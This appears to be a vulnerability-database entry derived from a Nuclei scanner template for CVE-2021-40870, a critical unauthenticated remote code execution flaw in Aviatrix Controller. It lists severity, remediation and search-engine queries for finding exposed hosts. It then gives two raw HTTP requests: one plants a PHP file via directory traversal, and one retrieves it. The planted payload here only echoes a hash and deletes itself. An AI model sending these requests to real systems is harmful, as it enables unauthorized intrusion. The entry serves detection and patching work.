| Title | Aviatrix Controller 6.x before 6.5-1804.1922 - Remote Command Execution |
|---|---|
| Author | pikpikcu |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system. |
| Remediation | Upgrade Aviatrix Controller to version 6.5-1804.1922 or later to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94228 |
| CVE ID | CVE-2021-40870 |
| CWE ID | CWE-23 |
| Shodan Query | http.title:"aviatrix cloud controller" |
| Fofa Query | title="aviatrix cloud controller" |
| Tags | cve2021 cve intrusive packetstorm rce aviatrix kev fileupload vkev vuln |
Aviatrix Controller 6.x before 6.5-1804.1922 contains a vulnerability that allows unrestricted upload of a file with a dangerous type, which allows an unauthenticated user to execute arbitrary code via directory traversal.
POST /v1/backend1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 162
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/38FN8fqCxgB240iE3Rn7NOPIfPC.php&data=<?php echo md5("CVE-2021-40870");unlink(__FILE__);?>
GET /v1/38FN8fqCxgB240iE3Rn7NOPIfPC.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40870.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-40870.pcap
N/AN/A